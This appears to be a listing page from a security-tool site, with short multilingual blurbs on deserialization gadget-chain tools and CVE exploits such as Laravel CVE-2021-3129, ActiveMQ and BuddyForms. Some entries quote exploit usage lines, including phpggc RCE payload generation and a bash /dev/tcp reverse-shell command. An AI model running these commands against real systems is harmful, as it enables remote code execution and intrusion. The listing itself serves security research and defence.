CVE-2019-18935-exploit-study

CVE-2019-18935-exploit-study Telerik UI for ASP.NET AJAX に影響を与える CVE-2019-18935 の詳細な調査であり、.NET の逆シリアル化の脆弱性、RadAsyncUpload ハンドラ、ガジェットチェーン、mixed-mode アセンブリの悪用、および緩和策をカバーしています。...

CVE-2021-2302

CVE-2021-2302 著者: quynhle ガジェットチェーン root@kitploit: javax.management.BadAttributeValueExpException.readObject oracle.security.jps.az.internal.common.principals.toString oracle.security.jps.az.internal.common.principals.getResolvedPrincipal . . . con.newInstance...

CVE-2019-14079

AndroidでのUSBデバイスファジング CVE-2019-14079 このブログ記事は、USBデバイスファジングを使用して私のAndroidデバイス（MI A2 - ストックAndroid搭載）で発見した単純なバグについてであり、Googleによって深刻度「高」と評価されました。このバグはQualcomm USBドライバに存在し、後に修正され、2020年3月のAndroidセキュリティ情報で開示されました。この脆弱性は、細工されたUSBリクエストをAndroidスマートフォンに送信すると、Androidカーネルがクラッシュし、スマートフォンが再起動するというものです。...

CVE-2020-14882-checker

CVE-2020-14882 チェッカー CVE-2020-14882 検出スクリプト このチェッカーは、jas502n による PoC に基づいています。 ガジェットを使用して、認証されていないユーザーがアクセスできないページからの HTTP レスポンスを置き換えようとします。 root@kitploit: python cve202014882checker.py --ip 192.168.1.75 python cve202014882checker.py --ips ipsfile.txt --port 7002 --ssl...

CVE-2026-40860

camel-jms JMS ObjectMessage 安全でないデシリアライゼーション再現ツール CVE-2026-40860 このプロジェクトは、Apache Camel の camel-jms コンポーネント（および推移的に camel-sjms、camel-sjms2、camel-amqp、camel-activemq、camel-activemq6）における Java デシリアライゼーションの脆弱性 を実証するもので、CVE-2026-40860 として追跡されています。JmsBinding.extractBodyFromJms は、受信した JMS ObjectMessage...

gadgetinspector

Gadget Inspector 该项目用于检查 Java 库和类路径中的利用链。利用链用于构建反序列化漏洞的利用程序。通过自动发现应用程序类路径中可能存在的利用链，渗透测试人员可以快速构建利用程序，应用程序安全工程师可以评估反序列化漏洞的影响并优先修复。 该项目曾在 Black Hat USA 2018 上展示。欲了解更多信息，请前往查看！（链接待定） 免责声明：该项目目前处于 alpha 阶段。需要添加测试和文档。欢迎通过添加测试或文档来提供帮助！ 构建 假设你的系统已安装 JDK，只需运行 ./gradlew shadowJar 即可。然后可以使用 java -jar...

ropium

概要 ROPium （旧称ROPGenerator）は、ROPエクスプロイトを簡単にするライブラリ/ツールです。バイナリからガジェットを自動的に抽出・解析し、セマンティッククエリを使ってROPチェーンを見つけることができます。ROPiumは X86 および X64 アーキテクチャをサポートしており、近々 ARM にも対応予定です。 主な機能: 簡単 : ROPiumはスムーズなコマンドラインインターフェースで即座に使用できます Python API : Python APIのおかげでスクリプトにROPiumを簡単に統合できます 自動連鎖 :...

phpggc

PHPGGC: PHP 汎用ガジェットチェーン PHPGGC は、unserialize ペイロードのライブラリであり、コマンドラインまたはプログラムからそれらを生成するためのツールです 。 ソースコードを持っていないウェブサイトで unserialize に遭遇した場合や、単にエクスプロイトを構築しようとしている場合、このツールを使用すると、ガジェットを見つけて組み合わせるという面倒な手順を踏むことなくペイロードを生成できます。これは frohoff の ysoserial の PHP 版に相当するものと考えることができます。 現在、このツールは...

laravel-exploits

laravel-exploits Exploit for CVE-2021-3129 Details: https://www.ambionics.io/blog/laravel-debug-rce Usage root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

laravel-exploits

laravel-exploits Exploit para CVE-2021-3129 Detalles: https://www.ambionics.io/blog/laravel-debug-rce Uso root@kitploit: $ php -d'phar.readonly=0' ./phpggc --phar phar -o /tmp/exploit.phar --fast-destruct monolog/rce1 system id $ ./laravel-ignition-rce.py http://localhost:8000/ /tmp/exploit.phar...

barf-project

BARF : Binary Analysis and Reverse engineering Framework The analysis of binary code is a crucial activity in many areas of the computer sciences and software engineering disciplines ranging from software security and program analysis to reverse engineering. Manual binary analysis is a difficult...

ActiveMQ_CVE-2023-46604

ActiveMQCVE-2023-46604 PY实现快速构造数据流量并发包；两个gadgets类的实现都有，org.springframework.context.support.FileSystemXmlApplicationContext和org.springframework.context.support.ClassPathXmlApplicationContext ，FIleSystemXml可以绕过一些ids 检测类设备...

CVE-2023-51518

CVE-2023-51518: Apache James における JMX 経由の事前認証 Java デシリアライゼーション Apache James のリリース 3.7.5 および 3.8.1 より前のディストリビューションでは、JMX の事前認証デシリアライゼーションを介した権限昇格が許可されています。デシリアライゼーションガジェットが利用可能な場合、これは悪用チェーンの一部として悪用され、権限昇格につながる可能性があります。 注記: Java バージョン =16 の場合は、こちらの 記事 で説明されているように、別のベクターを特定する必要があります。 ベンダー開示:...

CVE-2020-36287

CVE-2020-36287 El recurso de preferencias de gadgets del panel de control del plugin de gadgets de Atlassian utilizado en Jira Server y Jira Data Center antes de la versión 8.13.5, y desde la versión 8.14.0 antes de la versión 8.15.1 permite a atacantes anónimos remotos obtener configuraciones...

f_hid-4.14-backports

Backports de fhid para Linux 4.14.190 SM-A525F Tres correcciones a drivers/usb/gadget/function/fhid.c, aplicadas a mano a un kernel de Android de proveedor 4.14.190 y verificadas en el dispositivo donde se ejecutan. 4.14 está al final de su ciclo de vida. No existe ningún backport estable para...

ROPgadget

Herramienta ROPgadget Esta herramienta permite buscar gadgets en tus binarios para facilitar tu explotación ROP. ROPgadget soporta formatos ELF/PE/Mach-O/Raw en arquitecturas x86, x64, ARM, ARM64, PowerPC, SPARC, MIPS, RISC-V 64 y RISC-V Comprimido. Instalación La forma más fácil es instalar...

EUVD-2026-66838

SerializingHttpMessageConverter deserializes the body of incoming HTTP requests with a raw java.io.ObjectInputStream and no class filtering. Any request with Content-Type application/x-java-serialized-object whose body resolves to a Serializable type is read directly via readObject. If an...

CVE-2023-26326_Buddyform_exploit

usage: python exploit.py "/wp-admin/admin-ajax.php" 'bash -c "bash -i & /dev/tcp// 0&1"' 最初，CVE-2023–26326 需要借助 gadget 链才能作为反序列化漏洞加以利用。这种方法在运行 PHP 8+ 的新版 WordPress 站点上已不再可行；不过，通过与 CVE-2024-2961https://www.ambionics.io/blog/iconv-cve-2024-2961-p1 进行链式利用，可以改用 php://filter 而不是 phar:// 来实现漏洞利用。...

SEOPress < 7.9 - Authentication Bypass

The SEOPress WordPress plugin before 7.9 does not properly protect some of its REST API routes, which combined with another Object Injection vulnerability can allow unauthenticated attackers to unserialize malicious gadget chains, compromising the site if a suitable chain is present. id:...

QLinspector

QLinspector CodeQL के साथ Java/C गैजेट चेन खोजना। अधिक जानकारी हमारे लेख में इंस्टॉलेशन रिपॉजिटरी क्लोन करें root@kitploit: $ git clone https://github.com/synacktiv/QLinspector.git गैजेट्स खोजें: root@kitploit: $ codeql database analyze log4j --format=sarif-latest --output=log4j.sarif...